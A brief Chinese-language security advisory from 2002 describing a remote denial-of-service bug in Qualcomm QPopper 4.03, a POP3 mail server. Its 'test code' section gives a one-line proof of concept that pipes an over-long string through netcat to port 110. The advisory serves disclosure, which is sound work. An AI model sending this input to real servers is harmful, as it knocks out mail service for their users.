Qualcomm QPopper远程拒绝服务攻击漏洞发布时间:2002-03-19 更新时间:2002-03-19 严重程度:中 威胁程度:远程拒绝服务 错误类型:边界检查错误 利用方式:服务器模式 BUGTRAQ ID:4295 受影响系统 Qualcomm qpopper 4.03详细描述 Qualcomm's QPopper是一基于Linux和Unix系统下的POP3邮件服务程序。 其中部分版本的QPOPER存在漏洞,提交发送超过2048个字符的字符串给qpoper进程,会导致出现拒绝服务。 测试代码 perl -e '{print "A"x"2049"}' | netcat host.com 110 解决方案 尚无 相关信息 Dustin Childers <dustin@acm.org>. 参考:http://online.securityfocus.com/archive/1/262213 相关主页:http://www.eudora.com/freeware/qpop.html |